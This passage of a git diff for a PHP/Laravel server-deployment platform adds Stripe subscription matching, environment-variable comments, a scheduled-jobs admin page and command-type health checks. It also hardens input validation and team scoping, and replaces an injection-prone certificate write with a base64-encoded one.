$customer = $stripe->customers->retrieve($customerId); + $email = $customer->email; + + if (! $email) { + return null; + } + + usleep(100000); + + $customers = $stripe->customers->all([ + 'email' => $email, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($customers->data as $matchingCustomer) { + if ($matchingCustomer->id === $customerId) { + continue; + } + + $subs = $stripe->subscriptions->all([ + 'customer' => $matchingCustomer->id, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($subs->data as $sub) { + if (in_array($sub->status, ['active', 'past_due'])) { + return [ + 'email' => $email, + 'customer_id' => $matchingCustomer->id, + 'subscription_id' => $sub->id, + 'status' => $sub->status, + ]; + } + } + } + } catch (\Exception $e) { + // Silently skip — will fall through to normal discrepancy + } + + return null; + } + + /** + * Bulk fetch all active and past_due subscription IDs from Stripe. + * + * @return array + */ + private function fetchValidStripeSubscriptionIds(\Stripe\StripeClient $stripe, ?\Closure $onProgress = null): array + { + $validIds = []; + $fetched = 0; + + foreach (['active', 'past_due'] as $status) { + foreach ($stripe->subscriptions->all(['status' => $status, 'limit' => 100])->autoPagingIterator() as $sub) { + $validIds[] = $sub->id; + $fetched++; + + if ($onProgress) { + $onProgress($fetched); + } + } + } + + return $validIds; + } } diff --git a/app/Livewire/Boarding/Index.php b/app/Livewire/Boarding/Index.php index ab1a1aae9..0f6f45d83 100644 --- a/app/Livewire/Boarding/Index.php +++ b/app/Livewire/Boarding/Index.php @@ -283,7 +283,11 @@ public function saveServer() $this->privateKey = formatPrivateKey($this->privateKey); $foundServer = Server::whereIp($this->remoteServerHost)->first(); if ($foundServer) { - return $this->dispatch('error', 'IP address is already in use by another team.'); + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } $this->createdServer = Server::create([ 'name' => $this->remoteServerName, diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index ed9115093..f910110dc 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1495,6 +1495,7 @@ public function getServicesProperty() 'type' => 'one-click-service-'.$serviceKey, 'category' => 'Services', 'resourceType' => 'service', + 'logo' => data_get($service, 'logo'), ]); } diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b7c17fcc3..008bd3905 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -73,7 +73,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerfileLocation = null; #[Validate(['string', 'nullable'])] @@ -85,7 +85,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerComposeLocation = null; #[Validate(['string', 'nullable'])] diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 8d3d8e294..c6c9a3c48 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -69,7 +69,11 @@ public function manualCheckStatus() public function mount() { - $this->parameters = get_route_parameters(); + $this->parameters = [ + 'project_uuid' => $this->database->environment->project->uuid, + 'environment_uuid' => $this->database->environment->uuid, + 'database_uuid' => $this->database->uuid, + ]; } public function stop() diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 18bb237af..634a012c0 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -63,10 +63,16 @@ public function submit() ]); $variables = parseEnvFormatToArray($this->envFile); - foreach ($variables as $key => $variable) { + foreach ($variables as $key => $data) { + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + EnvironmentVariable::create([ 'key' => $key, - 'value' => $variable, + 'value' => $value, + 'comment' => $comment, 'is_preview' => false, 'resourceable_id' => $service->id, 'resourceable_type' => $service->getMorphClass(), diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 40d2674e2..1bb276b89 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -75,6 +75,11 @@ public function mount() $this->github_apps = GithubApp::private(); } + public function updatedSelectedRepositoryId(): void + { + $this->loadBranches(); + } + public function updatedBuildPack() { if ($this->build_pack === 'nixpacks') { @@ -158,10 +163,12 @@ public function submit() 'selected_repository_owner' => $this->selected_repository_owner, 'selected_repository_repo' => $this->selected_repository_repo, 'selected_branch_name' => $this->selected_branch_name, + 'docker_compose_location' => $this->docker_compose_location, ], [ 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 77b106200..f52c01e91 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -64,6 +64,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; protected function rules() @@ -75,6 +76,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 2fffff6b9..a08c448dd 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -70,7 +70,7 @@ class PublicGitRepository extends Component 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; protected function rules() @@ -82,7 +82,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index fa65e8bd2..73d5393b0 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -31,6 +31,8 @@ class Add extends Component public bool $is_buildtime = true; + public ?string $comment = null; + public array $problematicVariables = []; protected $listeners = ['clearAddEnv' => 'clear']; @@ -42,6 +44,7 @@ class Add extends Component 'is_literal' => 'required|boolean', 'is_runtime' => 'required|boolean', 'is_buildtime' => 'required|boolean', + 'comment' => 'nullable|string|max:256', ]; protected $validationAttributes = [ @@ -51,6 +54,7 @@ class Add extends Component 'is_literal' => 'literal', 'is_runtime' => 'runtime', 'is_buildtime' => 'buildtime', + 'comment' => 'comment', ]; public function mount() @@ -136,6 +140,7 @@ public function submit() 'is_runtime' => $this->is_runtime, 'is_buildtime' => $this->is_buildtime, 'is_preview' => $this->is_preview, + 'comment' => $this->comment, ]); $this->clear(); } @@ -148,5 +153,6 @@ public function clear() $this->is_literal = false; $this->is_runtime = true; $this->is_buildtime = true; + $this->comment = null; } } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 55e388b78..f250a860b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -89,6 +89,62 @@ public function getEnvironmentVariablesPreviewProperty() return $query->get(); } + public function getHardcodedEnvironmentVariablesProperty() + { + return $this->getHardcodedVariables(false); + } + + public function getHardcodedEnvironmentVariablesPreviewProperty() + { + return $this->getHardcodedVariables(true); + } + + protected function getHardcodedVariables(bool $isPreview) + { + // Only for services and docker-compose applications + if ($this->resource->type() !== 'service' && + ($this->resourceClass !== 'App\Models\Application' || + ($this->resourceClass === 'App\Models\Application' && $this->resource->build_pack !== 'dockercompose'))) { + return collect([]); + } + + $dockerComposeRaw = $this->resource->docker_compose_raw ?? $this->resource->docker_compose; + + if (blank($dockerComposeRaw)) { + return collect([]); + } + + // Extract all hard-coded variables + $hardcodedVars = extractHardcodedEnvironmentVariables($dockerComposeRaw); + + // Filter out magic variables (SERVICE_FQDN_*, SERVICE_URL_*, SERVICE_NAME_*) + $hardcodedVars = $hardcodedVars->filter(function ($var) { + $key = $var['key']; + + return ! str($key)->startsWith(['SERVICE_FQDN_', 'SERVICE_URL_', 'SERVICE_NAME_']); + }); + + // Filter out variables that exist in database (user has overridden/managed them) + // For preview, check against preview variables; for production, check against production variables + if ($isPreview) { + $managedKeys = $this->resource->environment_variables_preview()->pluck('key')->toArray(); + } else { + $managedKeys = $this->resource->environment_variables()->where('is_preview', false)->pluck('key')->toArray(); + } + + $hardcodedVars = $hardcodedVars->filter(function ($var) use ($managedKeys) { + return ! in_array($var['key'], $managedKeys); + }); + + // Apply sorting based on is_env_sorting_enabled + if ($this->is_env_sorting_enabled) { + $hardcodedVars = $hardcodedVars->sortBy('key')->values(); + } + // Otherwise keep order from docker-compose file + + return $hardcodedVars; + } + public function getDevView() { $this->variables = $this->formatEnvironmentVariables($this->environmentVariables); @@ -240,6 +296,7 @@ private function createEnvironmentVariable($data) $environment->is_runtime = $data['is_runtime'] ?? true; $environment->is_buildtime = $data['is_buildtime'] ?? true; $environment->is_preview = $data['is_preview'] ?? false; + $environment->comment = $data['comment'] ?? null; $environment->resourceable_id = $this->resource->id; $environment->resourceable_type = $this->resource->getMorphClass(); @@ -280,18 +337,37 @@ private function deleteRemovedVariables($isPreview, $variables) private function updateOrCreateVariables($isPreview, $variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { if (str($key)->startsWith('SERVICE_FQDN') || str($key)->startsWith('SERVICE_URL') || str($key)->startsWith('SERVICE_NAME')) { continue; } + + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + $method = $isPreview ? 'environment_variables_preview' : 'environment_variables'; $found = $this->resource->$method()->where('key', $key)->first(); if ($found) { if (! $found->is_shown_once && ! $found->is_multiline) { - // Only count as a change if the value actually changed + $changed = false; + + // Update value if it changed if ($found->value !== $value) { $found->value = $value; + $changed = true; + } + + // Only update comment from inline comment if one is provided (overwrites existing) + // If $comment is null, don't touch existing comment field to preserve it + if ($comment !== null && $found->comment !== $comment) { + $found->comment = $comment; + $changed = true; + } + + if ($changed) { $found->save(); $count++; } @@ -300,6 +376,7 @@ private function updateOrCreateVariables($isPreview, $variables) $environment = new EnvironmentVariable; $environment->key = $key; $environment->value = $value; + $environment->comment = $comment; // Set comment from inline comment $environment->is_multiline = false; $environment->is_preview = $isPreview; $environment->resourceable_id = $this->resource->id; diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 2030f631e..2a18be13c 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -24,6 +24,8 @@ class Show extends Component public bool $isLocked = false; + public bool $isMagicVariable = false; + public bool $isSharedVariable = false; public string $type; @@ -34,6 +36,8 @@ class Show extends Component public ?string $real_value = null; + public ?string $comment = null; + public bool $is_shared = false; public bool $is_multiline = false; @@ -63,6 +67,7 @@ class Show extends Component protected $rules = [ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -104,6 +109,7 @@ public function syncData(bool $toModel = false) $this->validate([ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -118,6 +124,7 @@ public function syncData(bool $toModel = false) } $this->env->key = $this->key; $this->env->value = $this->value; + $this->env->comment = $this->comment; $this->env->is_multiline = $this->is_multiline; $this->env->is_literal = $this->is_literal; $this->env->is_shown_once = $this->is_shown_once; @@ -125,6 +132,7 @@ public function syncData(bool $toModel = false) } else { $this->key = $this->env->key; $this->value = $this->env->value; + $this->comment = $this->env->comment; $this->is_multiline = $this->env->is_multiline; $this->is_literal = $this->env->is_literal; $this->is_shown_once = $this->env->is_shown_once; @@ -140,9 +148,13 @@ public function syncData(bool $toModel = false) public function checkEnvs() { $this->isDisabled = false; + $this->isMagicVariable = false; + if (str($this->env->key)->startsWith('SERVICE_FQDN') || str($this->env->key)->startsWith('SERVICE_URL') || str($this->env->key)->startsWith('SERVICE_NAME')) { $this->isDisabled = true; + $this->isMagicVariable = true; } + if ($this->env->is_shown_once) { $this->isLocked = true; } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php new file mode 100644 index 000000000..3a49ce124 --- /dev/null +++ b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php @@ -0,0 +1,31 @@ +key = $this->env['key']; + $this->value = $this->env['value'] ?? null; + $this->comment = $this->env['comment'] ?? null; + $this->serviceName = $this->env['service_name'] ?? null; + } + + public function render() + { + return view('livewire.project.shared.environment-variable.show-hardcoded'); + } +} diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 05f786690..0d5d71b45 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -16,19 +16,25 @@ class HealthChecks extends Component #[Validate(['boolean'])] public bool $healthCheckEnabled = false; - #[Validate(['string'])] + #[Validate(['string', 'in:http,cmd'])] + public string $healthCheckType = 'http'; + + #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])] + public ?string $healthCheckCommand = null; + + #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])] public string $healthCheckMethod; - #[Validate(['string'])] + #[Validate(['required', 'string', 'in:http,https'])] public string $healthCheckScheme; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])] public string $healthCheckHost; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])] public ?string $healthCheckPort = null; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])] public string $healthCheckPath; #[Validate(['integer'])] @@ -54,12 +60,14 @@ class HealthChecks extends Component protected $rules = [ 'healthCheckEnabled' => 'boolean', - 'healthCheckPath' => 'string', - 'healthCheckPort' => 'nullable|string', - 'healthCheckHost' => 'string', - 'healthCheckMethod' => 'string', + 'healthCheckType' => 'string|in:http,cmd', + 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'healthCheckPort' => 'nullable|integer|min:1|max:65535', + 'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS', 'healthCheckReturnCode' => 'integer', - 'healthCheckScheme' => 'string', + 'healthCheckScheme' => 'required|string|in:http,https', 'healthCheckResponseText' => 'nullable|string', 'healthCheckInterval' => 'integer|min:1', 'healthCheckTimeout' => 'integer|min:1', @@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void // Sync to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void } else { // Sync from model $this->healthCheckEnabled = $this->resource->health_check_enabled; + $this->healthCheckType = $this->resource->health_check_type ?? 'http'; + $this->healthCheckCommand = $this->resource->health_check_command; $this->healthCheckMethod = $this->resource->health_check_method; $this->healthCheckScheme = $this->resource->health_check_scheme; $this->healthCheckHost = $this->resource->health_check_host; @@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void public function instantSave() { $this->authorize('update', $this->resource); + $this->validate(); // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -143,6 +158,8 @@ public function submit() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -171,6 +188,8 @@ public function toggleHealthcheck() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 4ba961dfd..e769e4bcb 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -49,9 +49,10 @@ public function cloneTo($destination_id) { $this->authorize('update', $this->resource); - $new_destination = StandaloneDocker::find($destination_id); + $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id); + $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id); if (! $new_destination) { - $new_destination = SwarmDocker::find($destination_id); + $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id); } if (! $new_destination) { return $this->addError('destination_id', 'Destination not found.'); @@ -352,7 +353,7 @@ public function moveTo($environment_id) { try { $this->authorize('update', $this->resource); - $new_environment = Environment::findOrFail($environment_id); + $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); $this->resource->update([ 'environment_id' => $environment_id, ]); diff --git a/app/Livewire/Server/CaCertificate/Show.php b/app/Livewire/Server/CaCertificate/Show.php index c929d9b3d..57aaaa945 100644 --- a/app/Livewire/Server/CaCertificate/Show.php +++ b/app/Livewire/Server/CaCertificate/Show.php @@ -60,10 +60,16 @@ public function saveCaCertificate() throw new \Exception('Certificate content cannot be empty.'); } - if (! openssl_x509_read($this->certificateContent)) { + $parsedCert = openssl_x509_read($this->certificateContent); + if (! $parsedCert) { throw new \Exception('Invalid certificate format.'); } + if (! openssl_x509_export($parsedCert, $cleanedCertificate)) { + throw new \Exception('Failed to process certificate.'); + } + $this->certificateContent = $cleanedCertificate; + if ($this->caCertificate) { $this->caCertificate->ssl_certificate = $this->certificateContent; $this->caCertificate->save(); @@ -114,12 +120,14 @@ private function writeCertificateToServer() { $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($this->certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Livewire/Server/DockerCleanup.php b/app/Livewire/Server/DockerCleanup.php index 92094c950..12d111d21 100644 --- a/app/Livewire/Server/DockerCleanup.php +++ b/app/Livewire/Server/DockerCleanup.php @@ -3,8 +3,13 @@ namespace App\Livewire\Server; use App\Jobs\DockerCleanupJob; +use App\Models\DockerCleanupExecution; use App\Models\Server; +use Cron\CronExpression; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Carbon; +use Illuminate\Support\Facades\Cache; +use Livewire\Attributes\Computed; use Livewire\Attributes\Validate; use Livewire\Component; @@ -34,6 +39,53 @@ class DockerCleanup extends Component #[Validate('boolean')] public bool $disableApplicationImageRetention = false; + #[Computed] + public function isCleanupStale(): bool + { + try { + $lastExecution = DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first(); + + if (! $lastExecution) { + return false; + } + + $frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *'; + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $cron = new CronExpression($frequency); + $now = Carbon::now(); + $nextRun = Carbon::parse($cron->getNextRunDate($now)); + $afterThat = Carbon::parse($cron->getNextRunDate($nextRun)); + $intervalMinutes = $nextRun->diffInMinutes($afterThat); + + $threshold = max($intervalMinutes * 2, 10); + + return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold; + } catch (\Throwable) { + return false; + } + } + + #[Computed] + public function lastExecutionTime(): ?string + { + return DockerCleanupExecution::where('server_id', $this->server->id) + ->orderBy('created_at', 'desc') + ->first() + ?->created_at + ?->diffForHumans(); + } + + #[Computed] + public function isSchedulerHealthy(): bool + { + return Cache::get('scheduled-job-manager:heartbeat') !== null; + } + public function mount(string $server_uuid) { try { diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index 1f4cdf607..eecdfb4d0 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -97,10 +97,13 @@ public function submit() $this->validate(); try { $this->authorize('create', Server::class); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) - ->exists()) { - return $this->dispatch('error', 'This IP/Domain is already in use by another server in your team.'); + $foundServer = Server::whereIp($this->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === currentTeam()->id) { + return $this->dispatch('error', 'A server with this IP/Domain already exists in your team.'); + } + + return $this->dispatch('error', 'A server with this IP/Domain is already in use by another team.'); } if (is_null($this->private_key_id)) { diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index cc55da491..83c63a81c 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -189,12 +189,16 @@ public function syncData(bool $toModel = false) $this->validate(); $this->authorize('update', $this->server); - if (Server::where('team_id', currentTeam()->id) - ->where('ip', $this->ip) + $foundServer = Server::where('ip', $this->ip) ->where('id', '!=', $this->server->id) - ->exists()) { + ->first(); + if ($foundServer) { $this->ip = $this->server->ip; - throw new \Exception('This IP/Domain is already in use by another server in your team.'); + if ($foundServer->team_id === currentTeam()->id) { + throw new \Exception('A server with this IP/Domain already exists in your team.'); + } + + throw new \Exception('A server with this IP/Domain is already in use by another team.'); } $this->server->name = $this->name; diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php new file mode 100644 index 000000000..1e54f1483 --- /dev/null +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -0,0 +1,321 @@ +executions = collect(); + $this->skipLogs = collect(); + $this->managerRuns = collect(); + } + + public function mount(): void + { + if (! isInstanceAdmin()) { + redirect()->route('dashboard'); + + return; + } + + $this->loadData(); + } + + public function updatedFilterType(): void + { + $this->skipPage = 0; + $this->loadData(); + } + + public function updatedFilterDate(): void + { + $this->skipPage = 0; + $this->loadData(); + } + + public function skipNextPage(): void + { + $this->skipPage += $this->skipDefaultTake; + $this->showSkipPrev = true; + $this->loadData(); + } + + public function skipPreviousPage(): void + { + $this->skipPage -= $this->skipDefaultTake; + if ($this->skipPage < 0) { + $this->skipPage = 0; + } + $this->showSkipPrev = $this->skipPage > 0; + $this->loadData(); + } + + public function refresh(): void + { + $this->loadData(); + } + + public function render() + { + return view('livewire.settings.scheduled-jobs', [ + 'executions' => $this->executions, + 'skipLogs' => $this->skipLogs, + 'managerRuns' => $this->managerRuns, + ]); + } + + private function loadData(?int $teamId = null): void + { + $this->executions = $this->getExecutions($teamId); + + $parser = new SchedulerLogParser; + $allSkips = $parser->getRecentSkips(500, $teamId); + $this->skipTotalCount = $allSkips->count(); + $this->skipLogs = $this->enrichSkipLogsWithLinks( + $allSkips->slice($this->skipPage, $this->skipDefaultTake)->values() + ); + $this->showSkipPrev = $this->skipPage > 0; + $this->showSkipNext = ($this->skipPage + $this->skipDefaultTake) < $this->skipTotalCount; + $this->skipCurrentPage = intval($this->skipPage / $this->skipDefaultTake) + 1; + $this->managerRuns = $parser->getRecentRuns(30, $teamId); + } + + private function enrichSkipLogsWithLinks(Collection $skipLogs): Collection + { + $taskIds = $skipLogs->where('type', 'task')->pluck('context.task_id')->filter()->unique()->values(); + $backupIds = $skipLogs->where('type', 'backup')->pluck('context.backup_id')->filter()->unique()->values(); + $serverIds = $skipLogs->where('type', 'docker_cleanup')->pluck('context.server_id')->filter()->unique()->values(); + + $tasks = $taskIds->isNotEmpty() + ? ScheduledTask::with(['application.environment.project', 'service.environment.project'])->whereIn('id', $taskIds)->get()->keyBy('id') + : collect(); + + $backups = $backupIds->isNotEmpty() + ? ScheduledDatabaseBackup::with(['database.environment.project'])->whereIn('id', $backupIds)->get()->keyBy('id') + : collect(); + + $servers = $serverIds->isNotEmpty() + ? Server::whereIn('id', $serverIds)->get()->keyBy('id') + : collect(); + + return $skipLogs->map(function (array $skip) use ($tasks, $backups, $servers): array { + $skip['link'] = null; + $skip['resource_name'] = null; + + if ($skip['type'] === 'task') { + $task = $tasks->get($skip['context']['task_id'] ?? null); + if ($task) { + $skip['resource_name'] = $skip['context']['task_name'] ?? $task->name; + $resource = $task->application ?? $task->service; + $environment = $resource?->environment; + $project = $environment?->project; + if ($project && $environment && $resource) { + $routeName = $task->application_id + ? 'project.application.scheduled-tasks' + : 'project.service.scheduled-tasks'; + $routeKey = $task->application_id ? 'application_uuid' : 'service_uuid'; + $skip['link'] = route($routeName, [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + $routeKey => $resource->uuid, + 'task_uuid' => $task->uuid, + ]); + } + } + } elseif ($skip['type'] === 'backup') { + $backup = $backups->get($skip['context']['backup_id'] ?? null); + if ($backup) { + $database = $backup->database; + $skip['resource_name'] = $database?->name ?? 'Database backup'; + $environment = $database?->environment; + $project = $environment?->project; + if ($project && $environment && $database) { + $skip['link'] = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + } elseif ($skip['type'] === 'docker_cleanup') { + $server = $servers->get($skip['context']['server_id'] ?? null); + if ($server) { + $skip['resource_name'] = $server->name; + $skip['link'] = route('server.show', ['server_uuid' => $server->uuid]); + } + } + + return $skip; + }); + } + + private function getExecutions(?int $teamId = null): Collection + { + $dateFrom = $this->getDateFrom(); + + $backups = collect(); + $tasks = collect(); + $cleanups = collect(); + + if ($this->filterType === 'all' || $this->filterType === 'backup') { + $backups = $this->getBackupExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'task') { + $tasks = $this->getTaskExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'cleanup') { + $cleanups = $this->getCleanupExecutions($dateFrom, $teamId); + } + + return $backups->concat($tasks)->concat($cleanups) + ->sortByDesc('created_at') + ->values() + ->take(100); + } + + private function getBackupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledDatabaseBackupExecution::with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.team']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('scheduledDatabaseBackup.team', 'id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $backup = $execution->scheduledDatabaseBackup; + $database = $backup?->database; + $server = $backup?->server(); + + return [ + 'id' => $execution->id, + 'type' => 'backup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $database?->name ?? 'Deleted database', + 'resource_type' => $database ? class_basename($database) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => 